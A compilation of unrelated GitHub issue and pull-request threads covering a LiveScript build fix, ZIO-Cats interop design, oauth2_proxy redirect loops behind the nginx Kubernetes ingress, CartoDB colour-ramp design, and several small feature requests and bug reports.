Huh. I can't imagine how adding the sourcemaps devtool could have caused this, as it has nothing to do with LiveScript specifically. I'll try to take a look tomorrow morning if it's still not resolved though (today's pretty packed). I have a feeling it's a leftover from the LiveScript package renaming to lowercase and for some reason didn't rear its head until now.

Looks like my hunch was right. #96 has the passing fix.


fix: ensure github check action is run on pull request

Close https://github.com/openfga/openfga.dev/issues/146

Description

References

Review Checklist

[ ] I have added documentation for new/changed functionality in this PR or in openfga.dev
[ ] The correct base branch is being used, if not main

tested and confirmed github check action is ran


Controls icon on peer view not always responsible

When zooming in / out, sometimes:

they become elliptical
go beyond the container area

similar to #716


Adding component in swal body

I would want to add a component on the swal, but I get a blank display

Could you please describe which component you're trying to add?

I have a component  which can be used for creating a new user.
If i do
this.$swal({           'title': 'Create new customer ',           'html': '<user-form></user-form>'         })
The swal does not have a body

@m-bryo Is <user-form> a Web Component? Or are you using a framework, like Angular, React, etc.?

I'm using vuejs

@m-bryo That is pretty critical information.
This project alone will not render Vue components as content. vue-sweetalert might support it, or be willing to support it. Or you could create your own thin wrapper.
I don't know much about Vue but it should be possible using swal.getContent to get the content element, and instantiating your Vue component on it, all inside an onOpen handler.
In any case:

This isn't the right place for Angular- or any other framework related questions.
https://stackoverflow.com/questions/ask


Response

实现 Response接口和优化代码
see #299

Codecov Report

Merging #302 (d98842f) into master (de18de8) will decrease coverage by 0.43%.
The diff coverage is 70.00%.

@@            Coverage Diff             @@
##           master     #302      +/-   ##
==========================================
- Coverage   90.97%   90.53%   -0.44%
==========================================
  Files          44       44
  Lines        1717     1722       +5
==========================================
- Hits         1562     1559       -3
- Misses        105      109       +4
- Partials       50       54       +4

Impacted Files
Coverage Δ

dataflow/dataflow.go
89.67% <ø> (ø)

decode/decode_core.go
95.45% <ø> (ø)

encode/query.go
75.00% <ø> (ø)

export/curl_core.go
70.42% <20.00%> (-10.74%)
:arrow_down:

bench/task.go
87.32% <75.00%> (-0.18%)
:arrow_down:

bench/report.go
90.07% <100.00%> (ø)

color/color_core.go
83.90% <100.00%> (ø)

dataflow/req.go
82.32% <100.00%> (+0.50%)
:arrow_up:

encode/yaml.go
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update de18de8...d98842f. Read the comment docs.


Cats instances taking the environmental parameter

Now that ZIO became a trifunctor, interop instances should also take into account the environmental parameter R as well. Here's the summary of changes:

A new type alias type TaskR[-R, +A] = ZIO[R, Throwable, A] was introduced.
~All existing tests except for one (SemigroupK[UIO[?]]) are passing. ~ I replaced it with both Task and TaskR. Does UIO[?] make any sense in this test?
~In some places where effects needs to be evaluated is necessary to convert R into Any via asInstanceOf, not sure if that's the best way.~ :white_check_mark:

TODO

[x] Fix (or delete if correct) the commented test.
[x] Add more tests summoning instances using different environmental parameters.

Consider this PR a proposal to further discuss the topic rather than a final solution :)

@jdegoes thanks for reviewing. I mentioned the use of asInstanceOf in the description, I couldn't find another way to make it compile but given @kaishh 's input I think I can make it work without the hack. Allow me some time to get into it :)

Provide an instance for ConcurrentEffect with Effect for R <: Runtime[R] where implicit R is required and STOP extending DefaultRuntime since we can use the executor from implicit instead of creating a global

@kaishh I made the effect instances take an implicit runtime: Runtime[Any], is that what you meant?

The CI is complaining about formatting but I ran scalafmt and the tests locally without any issues.
[error] /home/travis/build/scalaz/scalaz-zio/interop-cats/jvm/src/test/scala/scalaz/zio/interop/catzSpec.scala isn't formatted properly!
[error] (interopCatsJVM / Test / scalafmtCheck) /home/travis/build/scalaz/scalaz-zio/interop-cats/jvm/src/test/scala/scalaz/zio/interop/catzSpec.scala isn't formatted properly!
[error] Total time: 5 s, completed Mar 4, 2019 5:29:13 AM

I've run scalafmt once again but there are no changes. Is there any other command I should run? Or maybe restarting the CI build could work?

@gvolpe I restarted the Lint task but same result. Did you run sbt fmt from the root directory?

Thanks @ghostdogpr , that did the trick. I was running just scalafmt.

@gvolpe

I made the effect instances take an implicit runtime: Runtime[Any], is that what you meant?

No, the point is to allow injection of ANY R, which would be the behavior most useful to someone using Reader R, but as long as that R cake has a Runtime we can use to run the IO. One of R <: Runtime[R], R <: Runtime[_], R <: Platform or R <:< Runtime[R] should be able to express that.

@kaishh do we really need to have Runtime[R] for the typeclasses up to Concurrent? I was thinking that in order to run your TaskR[R, ?] you need to provide the R first, in which case Runtime[Any] will do just fine.
Now if you think Runtime[R] makes sense is there any other way to provide it instead of mixing it in the cake? I'd try to avoid this at all cost because it wouldn't work with classy optics I think, which is what I'm aiming for (and got already working in a demo project).
How about [R](implicit rts: Runtime[R])? No mixing needed.

@gvolpe

do we really need to have Runtime[R] for the typeclasses up to Concurrent?

No, we don't. I'm only talking about ConcurrentEffect and Effect, we don't need to run and don't need the runtime for non *Effect classes.

How about [R](implicit rts: Runtime[R])? No mixing needed.

Ok, I guess that makes the most sense if you're ok with it.

It would be nice to update the microsite as well with an example showing how to get an instance of ConcurrentEffect with this new way (the current doc doesn’t tell that you need an implicit clock).

@jdegoes I believe I addressed all your comments.
@ghostdogpr maybe the docs part can be another PR?

@ghostdogpr maybe the docs part can be another PR?

Sure!

An unrelated test is failing on the CI build (no issues locally):
[error] Failed tests:
[error] 	scalaz.zio.stream.StreamSpec

@gvolpe I relaunched and it passed 👍

@jdegoes Also what do you think about renaming TaskR to RIO? It'll be like the Haskell implementation.

@jdegoes I just removed all the property tests previously added with the new parameter R and left the Eq instances as they were more or less.
Instead I added some code that summons the Cats instances that have an environmental parameter. This should do I hope.

Congratulations, & thanks for your contribution!


Added font size

Added the font size for title "What is 4C?"

@ayushhagarwal how is this?

Already done another way, fixed in https://github.com/FrancescoXX/4c-site/pull/128.
Propose closing as complete

Thank you @StarTrooper08 for the PR and @InHuOfficial for the comment!


Search directly in divination tab

ctrl+d directly in divination tab doesnt work

I do not own a divination tab so i can not test it. Are there any errors? If so please attach an screenshot (if needed). Thanks!

When you ctrl+d on the div tab it just says something about copying down the bottom. ill get a screenshot later.

Ctrl+c doesn't work in a divination tab, so i doubt it will be possible to get this working.

It works with trademacro currently so not sure why it wouldnt be possible.

Hi, i've bought the divination tab and CTRL + C does not work. Also the TradeMacro does no longer support it. See: https://github.com/PoE-TradeMacro/POE-TradeMacro/issues/673


All of these hotels

    All of these hotels

Originally posted by @Milujem in https://github.com/actions/runner-images/pull/3864#pullrequestreview-1245325394

Yeah but my husband know!


Using oauth2_proxy with nginx k8s ingress

kubernetes nginx controller supports external auth via:
https://github.com/kubernetes/ingress-nginx/blob/master/docs/user-guide/annotations.md#external-authentication
However, I'm not sure how can I use it since I'm a beginner regarding nginx and k8s nginx controller.

There is an example in the ingress-nginx repository using external auth:
https://github.com/kubernetes/ingress-nginx/tree/master/docs/examples/external-auth

To get deep linking to work I needed to add this patch, it is hacky as the nginx ingress does not encode the query pairs properly:
diff --git a/oauthproxy.go b/oauthproxy.go
index 21e5dfc..275a975 100644
--- a/oauthproxy.go
+++ b/oauthproxy.go
@@ -426,9 +426,27 @@ func (p *OAuthProxy) GetRedirect(req *http.Request) (redirect string, err error)
}
    redirect = req.Form.Get("rd")

  if req.URL.Query().Get("rd") != "" {

          elements := strings.SplitN(req.URL.String(), "/start?rd=", 2)

          if len(elements) == 2 {

                  u, err := url.Parse(elements[1])

                  if err == nil {

                          redirect = u.Path

                          if u.RawQuery != "" {

                                  redirect += "?" + u.RawQuery

                          }

                          if u.Fragment != "" {

                                  redirect += "#" + u.Fragment

                          }

                  } else {

                          fmt.Printf("Parse failed: %s\n", req.URL.Query().Get("rd"))

                  }

          }

  }
  if redirect == "" || !strings.HasPrefix(redirect, "/") || strings.HasPrefix(redirect, "//") {
          redirect = "/"
  }

  fmt.Printf("Redirect is: %s\n", redirect)

  return

}

@ean
What exactly nginx does, and what it should do? Do you have an example?

The nginx ingress controller requests auth using this statement:
error_page 401 = https://host/oauth2/start?rd=$scheme://$http_host$request_uri;
Where the $scheme://$http_host$request_uri should be url encoded, which would allow us to fetch the value using the standard request API in go instead of doing manual parsing of the url string.

https://github.com/openresty/set-misc-nginx-module#set_escape_uri
Can we use something like this?

Also I've tried your patched and it didn't help

My ingress setup look like this:
---
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  annotations:
    ingress.kubernetes.io/auth-signin: https://hostname.example.net/oauth2/start
    ingress.kubernetes.io/auth-url: https://hostname.example.net/oauth2/auth
    ingress.kubernetes.io/ssl-redirect: "true"
    kubernetes.io/ingress.class: nginx
    kubernetes.io/tls-acme: "true"
  labels:
    app: foo
  name: foo
spec:
  rules:
  - host: hostname.example.net
    http:
      paths:
      - path: /
        backend:
          serviceName: foo
          servicePort: 3000
  tls:
  - hosts:
    - hostname.example.net
    secretName: foo-tls
---
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  annotations:
    ingress.kubernetes.io/ssl-redirect: "true"
    kubernetes.io/ingress.class: nginx
    kubernetes.io/tls-acme: "true"
  labels:
    app: foo
  name: foo-auth
spec:
  rules:
  - host: hostname.example.net
    http:
      paths:
      - path: /oauth2
        backend:
          serviceName: auth-proxy-v1
          servicePort: 4180
  tls:
  - hosts:
    - hostname.example.net
    secretName: foo-tls

where auto-proxy-v1 is a service that exposes the oauth2-proxy instance. I will look at what is needed to get redirect to work if the oauth2-proxy is exposed on a separate external hostname to avoid having two ingresses for all exposed services. But that requires some more changes to the oauth2-proxy code it seems.

I somehow managed to get it working... I forgot about CORS to be honest. Now...how do I use CORS?
Is this enough?
    ingress.kubernetes.io/ssl-redirect: "true"
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/auth-url: "https://oauth2.{{ .Values.domain }}/oauth2/auth"
    nginx.ingress.kubernetes.io/auth-signin: "https://oauth2.{{ .Values.domain }}/oauth2/start?rd=https://$host$request_uri"
    nginx.ingress.kubernetes.io/enable-cors: "true"
    nginx.ingress.kubernetes.io/cors-allow-methods: "PUT, GET, POST, OPTIONS"
    nginx.ingress.kubernetes.io/cors-allow-headers: "X-Forwarded-For,DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range"
    nginx.ingress.kubernetes.io/cors-allow-origin: "https://oauth2.{{ .Values.domain }}"
    nginx.ingress.kubernetes.io/cors-allow-credentials: "true"
    nginx.ingress.kubernetes.io/cors-max-age: "600"

because it's not working.

Having the same issue. When trying to login using github I end up in a loop to login. If I go to URL/oauth2/sign_in without the ?rd=URL nginx attaches the login works fine.

I have a working setup.
A nginx is setup with a AWS Certificate.
The Oauth2 Deployment and Ingress for dashboard
Only thing is the nginx we are using is 0.9.0.

@KaustubhKhati You'r DA MAN ! I'm on this since a long time now ... finally it's working by replacing nginx.ingress.kubernetes.io/auth-signin: https://hostname.example.net/oauth2/sign_in by nginx.ingress.kubernetes.io/auth-signin: https://hostname.example.net/oauth2/start, after that no more Loops at first login !
Tested on the last Nginx Ingress controller version 0.12.0.

Anyone who might want to protect multiple domains with github and oauth2_proxy, nginx config file has to be modified. But since i didnt have time i wrote a small NodeJS app with a static file that will help around the problem. https://github.com/KaustubhKhati/oauth2_node_proxy

Has anyone encountered an issue where the authentication works just fine(based on the oauth2_proxy logs), but the ingress controller still denies access with a 403? It doesn't make any sense, I feel like I have tried literally everything(including the configs provided by @KaustubhKhati) and the outcome is still the same.

@KaustubhKhati
I finally figured this out. In case anyone faces the same issue, in my case it was related to whitelisting a specific ip range on the nginx ingress controller. After removing the restriction, the issue disappeared.

Anybody tried to check if pass_access_token is working with this setup? I cannot see the  X-Forwarded-Access-Toke entry in the header.

@theobolo : setting nginx.ingress.kubernetes.io/auth-signin: https://$host/oauth2/start only works if you are accessing /.
Indeed, with that configuration, accessing /foobar will take you to / after signin.
If you want to go to /foobar after signin triggered trying to access /foobar then the right configuration is nginx.ingress.kubernetes.io/auth-signin: https://$host/oauth2/start?rd=$request_uri.
Indeed, if I summarize for everyone:

nginx ingress does a 302 to the sign-in page and the header X-Auth-Request-Redirect is then not transmitted to the sign-in page
the code of oauth_proxy v2.2 (see https://github.com/bitly/oauth2_proxy/blob/b90a23473f10c7bb2d84acd033f7d7ed81b95dd3/oauthproxy.go#L367-L373) says that if that header is not configured then we use the current request_uri for redirect url, so the sign-in page itself !!! Indeed, since nginx ingress adds rd parameter to the url, we will never have equality between sign-in page and request_uri
at the end, we redirect to the redirect url which is set to the signin page that resets cookies -> loop

With nginx.ingress.kubernetes.io/auth-signin: https://$host/oauth2/start?rd=$request_uri, we skip that signin page and directly go to the redirection page (the one redirecting to google auth page) with the right redirection url set, i.e. the one requested by the user.
Hope that helps

Hi!
I noticed few months ago that I was required to use Nginx v0.9.0-beta.11 to be compatible with oauth2_proxy v2.2 (image: a5huynh/oauth2_proxy:2.2).
None of the versions greater than this mentioned beta are working. It's written at the top of the Helm chart https://github.com/helm/charts/tree/master/stable/oauth2-proxy#oauth2-proxy .
I was wondering if you succeeded in using a more recent Nginx image... ? I just tried with 0.19.0 , 0.18.0 and v0.9.0-beta.12 it still doesn't work. Maybe I need to use another OAuth2 proxy image?
Thank you,

@sneko check a few post above 'theobolo' mentioned he was able to do it with 0.12.0. try building your own image or use https://hub.docker.com/r/colemickens/oauth2_proxy/


Add intermediate step to select category ramp for string column

We need to add the step to select the ramp for string columns. Right now what happens is that a custom ramp is selected and, after choosing the column to filter by, it leads directly to the categories list.
Right design is here: https://projects.invisionapp.com/share/EA9FCD8ZV#/screens/212560201
cc @xavijam

@CartoDB/design can you provide an updated mockup for this?

sure, adding to our kanban.

I can't find this project inside our InVision account (the project could have been erased)
But this ticket is about:
When the user selects a "column string" instead of appears the ramp color by default should appear the ramps color selector with this kind of ramps that we have con CARTO-Colors:

The same way that if the user select a "column number"; we offer a different ramps color to select.
Is it about that?

Yup

We've made the same solution that we use when the user selects a "column number". In this case, we offer the ramps for this kind of columns.
Here is the Invision Project:
https://invis.io/D4E5FQB2E
cc/ @noguerol

@CartoDB/design any doubts or any comment about that?

+1 I think it's perfect :)

cc @noguerol

Could we change the default ramp (the first one on the list) to a prettier one? 🙃
Maybe @makella could help us pick the best one to put at the top. (I remember her saying that she wanted to change the order of the ramps because the default one for number columns wasn't the best one)

Sure, waiting for @makella then

so amazing!! can't wait for this thank you thank you.
i think our default now of "Prism" is a good option. I have a feeling what will happen is that they will be read in as they are organized in cartocolor.js... so "Antique" which you have there in your mock-up is the first in the alphabetical list of qualitative schemes.... UGH.
If we can (fingers really crossed) let's keep it at Prism for default (that's how it is now).
thanks for checking!
mamata

I would say let's default to Bold but that is what we default with category > auto-style so don't want to repeat.

On the visual design, I’ve used the ramp “Prism” as a default ramp and the list could be:

Prism
Antique
Bold
Pastel
Safe
Vivid

On this page, are all ramps with their names.
https://github.com/CartoDB/CartoColor/wiki/CARTOColor-Scheme-Names

Here is the Invision Project:
https://invis.io/D4E5FQB2E

I see it perfect! :)
close and moving to promote


Define server Timezone

Define server timezone

Wont will be done now

not now

we can change it through docker


[FEATURE] Support for Landlord

Is your feature request related to a problem? Please describe.
I think the Landlord is much batter plugin then UltimateClaims, and possibility to have team base despite own normal claims would be amazing in my opinion, especially when team claim could be upgraded (with size) along with team rank.
Describe the solution you'd like
As mention above
Describe alternatives you've considered
Not applies
Additional context
Not applies

@stale it's marked as ToDo ;P

Stale bot just marks things as inactive if there has been no activity on them for 40 days, this is only there to draw my attention to the issue and close it if needed.
Stale bot cannot close issues itself.

Seems like LandLord has an API: https://github.com/LandlordPlugin/LandLord/tree/master/LandLord-api/src/main/java/biz/princeps/landlord/api
Probably you can integrate it via claim events: https://github.com/LandlordPlugin/LandLord/tree/master/LandLord-api/src/main/java/biz/princeps/landlord/api/events


Add Elixir to list of supported languages in code blocks

Describe the feature you'd like
I'd like syntax highlighting for the Elixir programming language in code blocks.
Describe the benefits this would bring to existing BookStack users
Be able to read Elixir code blocks more easily.
Can the goal of this request already be achieved via other means?
No
Have you searched for an existing open/closed issue?

[X] I have searched for existing issues and none cover my fundamental request

How long have you been using BookStack?
1 to 5 years
Additional context
There is "elixir" in highlight.js : https://github.com/highlightjs/highlight.js/blob/main/src/languages/elixir.js
And yes, there is a ticket mentioning adding support for Elixir in the editor (#2125), but in the code editor it's not available nevertheless.

Thanks for the request @jakoubek, but I usually keep the scope of our supported languages to those we've previously added and/or those with official codemirror support, which I can't see for Elixir, so I'm therefore going to close this off.